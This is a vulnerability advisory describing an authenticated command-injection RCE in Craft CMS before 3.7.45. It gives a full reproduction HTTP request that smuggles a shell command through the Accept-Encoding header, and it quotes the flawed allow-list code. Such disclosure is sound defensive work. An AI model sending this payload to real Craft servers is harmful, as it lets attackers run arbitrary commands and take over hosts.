Disclosed vulnerabilities
Fixed: Jun 14, 2022
No CVE assigned Published: Jul 20, 2022

Authenticated RCE in craftcms/cms

7.2 High Severity craftcms/cms RCE
Caio Lüders Reported by Checkmarx Zero

Summary

Craftcms is vulnerable to Command Injection on the email settings. An attacker can send a POST request with a specially crafted “transportTypes” “[craftmailtransportadaptersSendmail][command]=” parameter to inject arbitrary commands that will be executed by the server. This can be exploited to gain access to sensitive information, or to take control of the server.

Product

Craftcms/cms versions before 3.7.45.

Impact

An authenticated attacker can execute arbitrary command on the server. This can be exploited to gain access to sensitive information, or to take control of the server.

Steps to reproduce

As an authenticated user, send the following POST request :

    POST /admin/settings/email HTTP/1.1
    Host: tutorial.nitro
    Content-Length: 1567
    Cache-Control: max-age=0
    Upgrade-Insecure-Requests: 1
    Origin: http://tutorial.nitro
    Content-Type: application/x-www-form-urlencoded
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: http://tutorial.nitro/admin/settings/email
    Accept-Encoding: /bin/touch /tmp/caio.txt; -bs
    Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
    Cookie: CraftSessionId=a9c4d48f469aeafb0104ae0764ab2ced; 1031b8c41dfff97a311a7ac99863bdc5_identity=44097a28c77a8e9b50bf5a3961405a423a803d86736130a4238217a4a6fd9208a%3A2%3A%7Bi%3A0%3Bs%3A41%3A%221031b8c41dfff97a311a7ac99863bdc5_identity%22%3Bi%3A1%3Bs%3A159%3A%22%5B1%2C%22%5B%5C%229RBgto_5gOySUsNpsV3PFZ9zyT1Ulw_4QgDHBHSsNkftGaxKV3eQpZCfy1_Lf4tywuYQeJ6jxjNPIv3mP-KKwfRy7ERG_oqTRv_-%5C%22%2Cnull%2C%5C%22727ad4f7864c7014a50b399443285ac1%5C%22%5D%22%2C3600%5D%22%3B%7D; CRAFT_CSRF_TOKEN=7b630e55d438c66036fd34b88848d375b3b4df81000e394ccc9e9b7856f979e6a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A147%3A%22XlVZEWxgLyFWBOCwEUDw7JEbRpwFddHl0QD3Up86%7C899f57f7a62d2d6a628a1ff63d0464143fc1900e4b3a75fc509cc9ff79344fc9XlVZEWxgLyFWBOCwEUDw7JEbRpwFddHl0QD3Up86%7C1%22%3B%7D; 1031b8c41dfff97a311a7ac99863bdc5_username=85a1d514f8cd30fd480bbc5a47bbd795f4a09c14e02d5831744def469bca384ea%3A2%3A%7Bi%3A0%3Bs%3A41%3A%221031b8c41dfff97a311a7ac99863bdc5_username%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3B%7D
    Connection: close

    CRAFT_CSRF_TOKEN=xxx&action=system-settings%2Fsave-email-settings&
    redirect=61397312e1a8395a0eee0b2326b3ca7166610066e62b4322d1747aaa889b1270settings&fromEmail=g3ol4d0%40gmail.com&
    replyToEmail=&fromName=test&transportType=craft%5Cmail%5Ctransportadapters%5CSendmail&
    transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSendmail%5D%5Bcommand%5D=%24HTTP_ACCEPT_ENCODING&
    transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Bhost%5D=&
    transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Bport%5D=&
    transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5BuseAuthentication%5D=1&
    transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Busername%5D=&
    transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Bpassword%5D=&
    transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5BencryptionMethod%5D=none&
    transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CSmtp%5D%5Btimeout%5D=10&
    transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CGmail%5D%5Busername%5D=&
    transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CGmail%5D%5Bpassword%5D=&
    transportTypes%5Bcraft%5Cmail%5Ctransportadapters%5CGmail%5D%5Btimeout%5D=10&action=system-settings%2Ftest-email-settings

The transportTypes “[craftmailtransportadaptersSendmail][command]=” parameter was set to “$HTTP_ACCEPT_ENCODING”, this is necessary to bypass the “_allowedCommands()” function on “htdocs/vendor/craftcms/cms/src/mail/transportadapters/Sendmail.php”.

private function _allowedCommands(): array
    {
        // Grab the current value from the project config rather than $this->command, so we don't risk
        // polluting the allowed commands with a tampered value that came from the post data
        $command = Craft::$app->getProjectConfig()->get('email.transportSettings.command');

        return array_unique(array_filter([
            !str_starts_with($command, '$') ? $command : null,
            self::DEFAULT_COMMAND,
            ini_get('sendmail_path'),
        ]));
    }

The function fails to proper check if the command should be accepted because an attacker can use the “$HTTP_” env variables to bypass the check.
The command is than inserted on the Accept-Encoding: “/bin/touch /tmp/caio.txt; -bs” header (or any other). It’s also necessary to pass an “-bs” string to the command because of the “/htdocs/vendor/symfony/mailer/Transport/SendmailTransport.php”.

    if (null !== $command) {
                if (!str_contains($command, ' -bs') && !str_contains($command, ' -t')) {
                    throw new InvalidArgumentException(sprintf('Unsupported sendmail command flags "%s"; must be one of "-bs" or "-t" but can include additional flags.', $command));

With that we can execute arbitrary command on the server.


    $ ls -lhrat /tmp/
    [...]
    -rw-r--r--    1 www-data www-data       0 May  7 18:56 caio.txt
    drwxrwxrwt    1 root     root        4.0K May  7 18:56 .

Impact:

An authenticated attacker can execute arbitrary command on the server. This can be exploited to gain access to sensitive information, or to take control of the server.

Remediation

Update craftcms/cms to version 3.7.45 or above.

Resources

  1. Commit
  2. release notes

Stay connected and never miss a research update!